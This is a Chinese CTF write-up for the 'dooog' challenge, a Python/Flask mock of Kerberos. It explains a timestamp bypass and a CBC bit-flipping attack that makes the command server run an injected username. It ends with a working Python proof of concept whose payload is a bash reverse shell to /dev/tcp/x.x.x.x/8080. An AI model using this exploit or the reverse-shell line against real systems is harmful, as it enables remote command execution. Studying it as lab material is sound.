0x00 dooog
看下源码,给了三个flask搞得server,一个client一个kdc一个cmdserver
出题人用python模拟了一个Kerberos认证的服务。真是日了狗了
借个图
Kerberos认证分三步
- 从AS拿TGT
- 用TGT从TGS拿服务票据
- 拿服务票据去访问服务
读一下源码大概画了个图
emmmmmm字丑,不重要不重要(
蓝线是加密。绿线是解密。彩色线是对比
KDC
Service
这里有限制,TGS会判断cmd是否是whoami或者ls,然后拿服务账号的master_key加密
第一种做法
看到这里
而TGT里面没有时间,这个client给的auth是可控的
所以直接把时间减小,多出的送给某位老人,即可跳过TGS对cmd的限制
然而我不是这么做的。。。想麻烦了
第二种做法
当时觉得把字符串用|
拼成一块再split很蠢,里面如果某个参数可控,插一个|
就让他gg了。
尝试在user里面插|
,但是在TGS那里直接挂逼,它要三个username对的上才行,但是TGT里面那个控制不了,是拿KDC的key加密的。
然后看了一下它很蛇皮的AES-CBC实现
???发现pad炸了都不报错的???
然后看了下cmdserver的实现
msg = cryptor.decrypt(base64.b64decode(server_message)).split('|')
session_key = msg[0]
cryptor = AESCipher(session_key)
username = cryptor.decrypt(base64.b64decode(authenticator))
if username == msg[1]:
print("[+] system:",msg[2])
os.system(msg[2])
return 'execute success'
这个server_message是用服务账号加密的,里面是用|
隔开的三个参数,session_key和username和cmd
然后用session_key去解密客户端发来的另一个参数auth,得到用户名。和上面的第二个用户名对比,ok了就执行命令
就是上面那个图
发现session_key长度是32,那么想要靠split来控制cmd,必须要让session_key或者user其中之一插入一个|
但是前文说了改username过不了TGS那个split,session_key又改不了。
然后突然想到了那个蛇皮的Padding实现,如果解密出错应该返回一个空字符串,如果让server_msg里面的user也是空字符串,就可以通过用户名验证。
所以用CBC字节反转,把session_key第31位也变成|
传入的server_msg解密之后就是这样
('cmd_server decrypt', '{\xba`\xff\x00)GW\n\xd6\x8fKG\xe1\x93\xaf05fe301bacb7ff2||bash -c "bash -i >& /dev/tcp/x.x.x.x/8080 0>&1"|whoami')
前16个字节被搞乱了,不过无所谓
这一大坨乱码去解密auth肯定解不了,然后返回一个空串
然后user和msg[1]都是空串,真实的user被当成cmd执行了
然后就日了狗狗狗了(
POC
from toolkit import AESCipher
import json
import time
import base64
import requests
username="bash -c \"bash -i >& /dev/tcp/x.x.x.x/8080 0>&1\""
master_key="naivekun123"
cmd="whoami"
#register
r=requests.post("http://127.0.0.1:5001/register",data={"username":username, "master_key":master_key})
print("register",r.text)
cryptor = AESCipher(master_key)
authenticator = cryptor.encrypt(json.dumps({'username':username, 'timestamp': int(time.time())}))
res = requests.post('http://127.0.0.1:5001/getTGT', data={'username': username, 'authenticator': base64.b64encode(authenticator)})
print("[+] res:",res.text)
session_key, TGT = cryptor.decrypt(base64.b64decode(res.content.decode().split('|')[0])), res.content.decode().split('|')[1]
print(session_key, TGT)
cryptor = AESCipher(session_key)
authenticator = cryptor.encrypt(json.dumps({'username': username, 'timestamp': int(time.time())}))
import base64
data={'username': username, 'cmd': cmd, 'authenticator': base64.b64encode(authenticator), "TGT":TGT}
print(data)
res = requests.post('http://127.0.0.1:5001/getTicket', data={'username': username, 'cmd': cmd, 'authenticator': base64.b64encode(authenticator), 'TGT': TGT})
print("[+] res",res.content)
client_message, server_message = res.text.split('|')
session_key = cryptor.decrypt(base64.b64decode(client_message))
cryptor = AESCipher(session_key)
username='a'
authenticator = base64.b64encode(cryptor.encrypt(username))
# cbc
# 536ff702b2166e5a
# a0fb499d7d531d27
# |naivedog|whoami
server_message = base64.b64decode(server_message.encode())
offset = 15
print("original:",server_message)
new_server_msg = server_message[:offset] + bytes([server_message[offset]^session_key[offset+16]^ord("|")])+server_message[offset+1:]
print("post:",new_server_msg)
new_server_msg = base64.b64encode(new_server_msg).decode()
res = requests.post('http://127.0.0.1:5002/cmd', data={'server_message': new_server_msg, 'authenticator': authenticator})
print(res.text)